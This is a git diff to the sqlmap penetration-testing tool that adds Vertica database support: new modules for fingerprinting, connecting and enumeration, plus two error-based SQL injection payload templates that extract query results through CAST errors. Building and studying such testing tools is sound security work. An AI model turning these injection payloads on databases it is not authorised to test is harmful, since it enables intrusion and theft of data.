diff --git a/data/xml/errors.xml b/data/xml/errors.xml index ae17201d7..1fcf85ea1 100644 --- a/data/xml/errors.xml +++ b/data/xml/errors.xml @@ -187,4 +187,13 @@ + + + + + + + + + diff --git a/data/xml/payloads/error_based.xml b/data/xml/payloads/error_based.xml index f4449c483..fe62bb6f8 100644 --- a/data/xml/payloads/error_based.xml +++ b/data/xml/payloads/error_based.xml @@ -742,6 +742,44 @@ MonetDB + + + Vertica AND error-based - WHERE or HAVING clause + 2 + 3 + 1 + 1,8,9 + 1 + AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC) + + AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Vertica +
+
+ + + Vertica OR error-based - WHERE or HAVING clause + 2 + 3 + 3 + 1,8,9 + 2 + OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC) + + OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Vertica +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/lib/controller/handler.py b/lib/controller/handler.py index 03e5489d3..b26218ae5 100644 --- a/lib/controller/handler.py +++ b/lib/controller/handler.py @@ -26,6 +26,7 @@ from lib.core.settings import H2_ALIASES from lib.core.settings import INFORMIX_ALIASES from lib.core.settings import MONETDB_ALIASES from lib.core.settings import DERBY_ALIASES +from lib.core.settings import VERTICA_ALIASES from lib.utils.sqlalchemy import SQLAlchemy from plugins.dbms.mssqlserver import MSSQLServerMap @@ -58,6 +59,8 @@ from plugins.dbms.monetdb import MonetDBMap from plugins.dbms.monetdb.connector import Connector as MonetDBConn from plugins.dbms.derby import DerbyMap from plugins.dbms.derby.connector import Connector as DerbyConn +from plugins.dbms.vertica import VerticaMap +from plugins.dbms.vertica.connector import Connector as VerticaConn def setHandler(): """ @@ -81,6 +84,7 @@ def setHandler(): (DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn), (DBMS.MONETDB, MONETDB_ALIASES, MonetDBMap, MonetDBConn), (DBMS.DERBY, DERBY_ALIASES, DerbyMap, DerbyConn), + (DBMS.VERTICA, VERTICA_ALIASES, VerticaMap, VerticaConn), ] _ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items) diff --git a/lib/core/agent.py b/lib/core/agent.py index 0b66e728d..719b6758a 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -656,7 +656,7 @@ class Agent(object): elif fieldsNoSelect: concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop) - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY): + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA): if fieldsExists: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) concatenatedQuery += "||'%s'" % kb.chars.stop @@ -945,7 +945,7 @@ class Agent(object): fromFrom = limitedQuery[fromIndex + 1:] orderBy = None - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.VERTICA): limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1) limitedQuery += " %s" % limitStr diff --git a/lib/core/common.py b/lib/core/common.py index 761f70841..ec8d21676 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -4069,7 +4069,7 @@ def safeSQLIdentificatorNaming(name, isTable=False): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users) retVal = "`%s`" % retVal - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB): + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA): retVal = "\"%s\"" % retVal elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,): retVal = "\"%s\"" % retVal.upper() @@ -4107,7 +4107,7 @@ def unsafeSQLIdentificatorNaming(name): if isinstance(name, six.string_types): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE): retVal = name.replace("`", "") - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.INFORMIX, DBMS.HSQLDB, DBMS.MONETDB): + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.INFORMIX, DBMS.HSQLDB, DBMS.MONETDB, DBMS.VERTICA): retVal = name.replace("\"", "") elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,): retVal = name.replace("\"", "").upper() diff --git a/lib/core/dicts.py b/lib/core/dicts.py index f02126aac..821df4b23 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -26,6 +26,7 @@ from lib.core.settings import ORACLE_ALIASES from lib.core.settings import PGSQL_ALIASES from lib.core.settings import SQLITE_ALIASES from lib.core.settings import SYBASE_ALIASES +from lib.core.settings import VERTICA_ALIASES FIREBIRD_TYPES = { 261: "BLOB", @@ -202,6 +203,7 @@ DBMS_DICT = { DBMS.INFORMIX: (INFORMIX_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"), DBMS.MONETDB: (MONETDB_ALIASES, "pymonetdb", "https://github.com/gijzelaerr/pymonetdb", "monetdb"), DBMS.DERBY: (DERBY_ALIASES, "pydrda", "https://github.com/nakagami/pydrda/", None), + DBMS.VERTICA: (VERTICA_ALIASES, "vertica-python", "https://github.com/vertica/vertica-python", "vertica+vertica_python"), } FROM_DUMMY_TABLE = { diff --git a/lib/core/dump.py b/lib/core/dump.py index 936c226ae..2c19030dc 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -166,7 +166,7 @@ class Dump(object): def currentDb(self, data): if Backend.isDbms(DBMS.MAXDB): self.string("current database (no practical usage on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA): self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) else: self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB) diff --git a/lib/core/enums.py b/lib/core/enums.py index 6ed406fb9..31734f24c 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -47,6 +47,7 @@ class DBMS(object): INFORMIX = "Informix" MONETDB = "MonetDB" DERBY = "Apache Derby" + VERTICA = "Vertica" class DBMS_DIRECTORY_NAME(object): ACCESS = "access" @@ -64,6 +65,7 @@ class DBMS_DIRECTORY_NAME(object): INFORMIX = "informix" MONETDB = "monetdb" DERBY = "derby" + VERTICA = "vertica" class FORK(object): MARIADB = "MariaDB" diff --git a/lib/core/settings.py b/lib/core/settings.py index 214cba3bc..30f4719fd 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.32" +VERSION = "1.4.1.33" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -260,6 +260,7 @@ H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",) INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin") MONETDB_SYSTEM_DBS = ("tmp", "json", "profiler") DERBY_SYSTEM_DBS = ("NULLID", "SQLJ", "SYS", "SYSCAT", "SYSCS_DIAG", "SYSCS_UTIL", "SYSFUN", "SYSIBM", "SYSPROC", "SYSSTAT") +VERTICA_SYSTEM_DBS = ("v_catalog", "v_internal", "v_monitor",) MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms") MYSQL_ALIASES = ("mysql", "my") + ("mariadb", "maria", "memsql") @@ -276,19 +277,22 @@ H2_ALIASES = ("h2",) INFORMIX_ALIASES = ("informix", "ibm informix", "ibminformix") MONETDB_ALIASES = ("monet", "monetdb",) DERBY_ALIASES = ("derby", "apache derby",) +VERTICA_ALIASES = ("vertica",) DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_")) -SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES +SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES SUPPORTED_OS = ("linux", "windows") -DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES)) +DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES)) USER_AGENT_ALIASES = ("ua", "useragent", "user-agent") REFERER_ALIASES = ("ref", "referer", "referrer") HOST_ALIASES = ("host",) +# Default schemas to use (when unable to enumerate) H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC" +VERTICA_DEFAULT_SCHEMA = "public" # Names that can't be used to name files on Windows OS WINDOWS_RESERVED_NAMES = ("CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9") diff --git a/lib/request/inject.py b/lib/request/inject.py index 63dcbc168..0393d0327 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -105,7 +105,7 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not re.search(r"(COUNT|LTRIM)\(", expression, re.I) and not (timeBasedCompare and not kb.forceThreads): if field and re.search(r"\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I): - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.MONETDB): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.MONETDB, DBMS.VERTICA): alias = randomStr(lowercase=True, seed=hash(expression)) expression = "SELECT %s FROM (%s)" % (field if '.' not in field else re.sub(r".+\.", "%s." % alias, field), expression) # Note: MonetDB as a prime example expression += " AS %s" % alias diff --git a/lib/utils/deps.py b/lib/utils/deps.py index 8583e77a6..006bc2e5e 100644 --- a/lib/utils/deps.py +++ b/lib/utils/deps.py @@ -50,6 +50,8 @@ def checkDependencies(): __import__("pymonetdb") elif dbmsName == DBMS.DERBY: __import__("drda") + elif dbmsName == DBMS.VERTICA: + __import__("vertica_python") except: warnMsg = "sqlmap requires '%s' third-party library " % data[1] warnMsg += "in order to directly connect to the DBMS " diff --git a/plugins/dbms/derby/enumeration.py b/plugins/dbms/derby/enumeration.py index 4a64c197c..91a5e0c5d 100644 --- a/plugins/dbms/derby/enumeration.py +++ b/plugins/dbms/derby/enumeration.py @@ -11,7 +11,7 @@ from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def getPasswordHashes(self): - warnMsg = "on MonetDB it is not possible to enumerate password hashes" + warnMsg = "on Apache Derby it is not possible to enumerate password hashes" logger.warn(warnMsg) return {} diff --git a/plugins/dbms/vertica/__init__.py b/plugins/dbms/vertica/__init__.py new file mode 100644 index 000000000..f116da6f6 --- /dev/null +++ b/plugins/dbms/vertica/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import VERTICA_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.vertica.enumeration import Enumeration +from plugins.dbms.vertica.filesystem import Filesystem +from plugins.dbms.vertica.fingerprint import Fingerprint +from plugins.dbms.vertica.syntax import Syntax +from plugins.dbms.vertica.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class VerticaMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Vertica methods + """ + + def __init__(self): + self.excludeDbsList = VERTICA_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.VERTICA] = Syntax.escape diff --git a/plugins/dbms/vertica/connector.py b/plugins/dbms/vertica/connector.py new file mode 100644 index 000000000..3402234f7 --- /dev/null +++ b/plugins/dbms/vertica/connector.py @@ -0,0 +1,59 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +try: + import vertica_python +except: + pass + +import logging + +from lib.core.common import getSafeExString +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: https://github.com/vertica/vertica-python + User guide: https://github.com/vertica/vertica-python/blob/master/README.md + API: https://www.python.org/dev/peps/pep-0249/ + License: Apache 2.0 + """ + + def connect(self): + self.initConnection() + + try: + self.connector = vertica_python.connect(host=self.hostname, user=self.user, password=self.password, database=self.db, port=self.port, connection_timeout=conf.timeout) + except vertica_python.OperationalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except vertica_python.ProgrammingError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + return None + + def execute(self, query): + try: + self.cursor.execute(query) + except (vertica_python.OperationalError, vertica_python.ProgrammingError) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + except vertica_python.InternalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.connector.commit() + + def select(self, query): + self.execute(query) + return self.fetchall() diff --git a/plugins/dbms/vertica/enumeration.py b/plugins/dbms/vertica/enumeration.py new file mode 100644 index 000000000..22f5a7041 --- /dev/null +++ b/plugins/dbms/vertica/enumeration.py @@ -0,0 +1,16 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getRoles(self, *args, **kwargs): + warnMsg = "on Vertica it is not possible to enumerate the user roles" + logger.warn(warnMsg) + + return {} diff --git a/plugins/dbms/vertica/filesystem.py b/plugins/dbms/vertica/filesystem.py new file mode 100644 index 000000000..e8c642492 --- /dev/null +++ b/plugins/dbms/vertica/filesystem.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + pass diff --git a/plugins/dbms/vertica/fingerprint.py b/plugins/dbms/vertica/fingerprint.py new file mode 100644 index 000000000..95ec9d188 --- /dev/null +++ b/plugins/dbms/vertica/fingerprint.py @@ -0,0 +1,107 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.enums import OS +from lib.core.session import setDbms +from lib.core.settings import VERTICA_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.VERTICA) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.VERTICA + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(VERTICA_ALIASES): + setDbms(DBMS.VERTICA) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.VERTICA + logger.info(infoMsg) + + # NOTE: Vertica works too without the CONVERT_TO() + result = inject.checkBooleanExpression("BITSTRING_TO_BINARY(NULL) IS NULL") + + if result: + infoMsg = "confirming %s" % DBMS.VERTICA + logger.info(infoMsg) + + result = inject.checkBooleanExpression("HEX_TO_INTEGER(NULL) IS NULL") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.VERTICA + logger.warn(warnMsg) + + return False + + setDbms(DBMS.VERTICA) + + self.getBanner() + + if not conf.extensiveFp: + return True + + infoMsg = "actively fingerprinting %s" % DBMS.VERTICA + logger.info(infoMsg) + + if inject.checkBooleanExpression("CALENDAR_HIERARCHY_DAY(NULL) IS NULL"): + Backend.setVersion(">= 9.0") + else: + Backend.setVersion("< 9.0") + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.VERTICA + logger.warn(warnMsg) + + return False diff --git a/plugins/dbms/vertica/syntax.py b/plugins/dbms/vertica/syntax.py new file mode 100644 index 000000000..ba25a9b6e --- /dev/null +++ b/plugins/dbms/vertica/syntax.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT (CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104)) FROM foobar" + True + """ + + def escaper(value): + return "(%s)" % "||".join("CHR(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/vertica/takeover.py b/plugins/dbms/vertica/takeover.py new file mode 100644 index 000000000..432fa6f78 --- /dev/null +++ b/plugins/dbms/vertica/takeover.py @@ -0,0 +1,15 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def __init__(self): + self.__basedir = None + self.__datadir = None + + GenericTakeover.__init__(self) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 1ad769275..31be6fbae 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -48,6 +48,7 @@ from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import CURRENT_DB from lib.core.settings import REFLECTED_VALUE_MARKER +from lib.core.settings import VERTICA_DEFAULT_SCHEMA from lib.request import inject from lib.techniques.union.use import unionUse from lib.utils.brute import columnExists @@ -77,7 +78,10 @@ class Databases(object): if not kb.data.currentDb: kb.data.currentDb = unArrayizeValue(inject.getValue(query, safeCharEncode=False)) - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL): + if not kb.data.currentDb and Backend.isDbms(DBMS.VERTICA): + kb.data.currentDb = VERTICA_DEFAULT_SCHEMA + + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA): warnMsg = "on %s you'll need to use " % Backend.getIdentifiedDbms() warnMsg += "schema names for enumeration as the counterpart to database " warnMsg += "names on other DBMSes" @@ -581,7 +585,7 @@ class Databases(object): condQueryStr = "%%s%s" % colCondParam condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA): query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery @@ -723,7 +727,7 @@ class Databases(object): condQueryStr = "%%s%s" % colCondParam condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA): query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery @@ -790,7 +794,7 @@ class Databases(object): continue for index in getLimitRange(count): - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.VERTICA): query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery field = None @@ -840,7 +844,7 @@ class Databases(object): singleTimeWarnMessage(warnMsg) if not onlyColNames: - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db)) elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column, unsafeSQLIdentificatorNaming(conf.db.upper())) diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index ad0ae9003..5a903433f 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -232,7 +232,7 @@ class Entries(object): entries = BigArray(_zip(*[entries[colName] for colName in colList])) else: query = rootQuery.inband.query % (colString, conf.db, tbl) - elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2): + elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA): query = rootQuery.inband.query % (colString, conf.db, tbl, prioritySortColumns(colList)[0]) else: query = rootQuery.inband.query % (colString, conf.db, tbl) @@ -405,7 +405,7 @@ class Entries(object): if column not in entries: entries[column] = BigArray() - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index) elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index) diff --git a/plugins/generic/users.py b/plugins/generic/users.py index 1636522eb..f94fc6eab 100644 --- a/plugins/generic/users.py +++ b/plugins/generic/users.py @@ -441,7 +441,7 @@ class Users(object): # In MySQL >= 5.0 and Oracle we get the list # of privileges as string - elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema): + elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema) or Backend.isDbms(DBMS.VERTICA): privileges.add(privilege) # In MySQL < 5.0 we get Y if the privilege is @@ -580,7 +580,7 @@ class Users(object): # In MySQL >= 5.0 and Oracle we get the list # of privileges as string - elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema): + elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema) or Backend.isDbms(DBMS.VERTICA): privileges.add(privilege) # In MySQL < 5.0 we get Y if the privilege is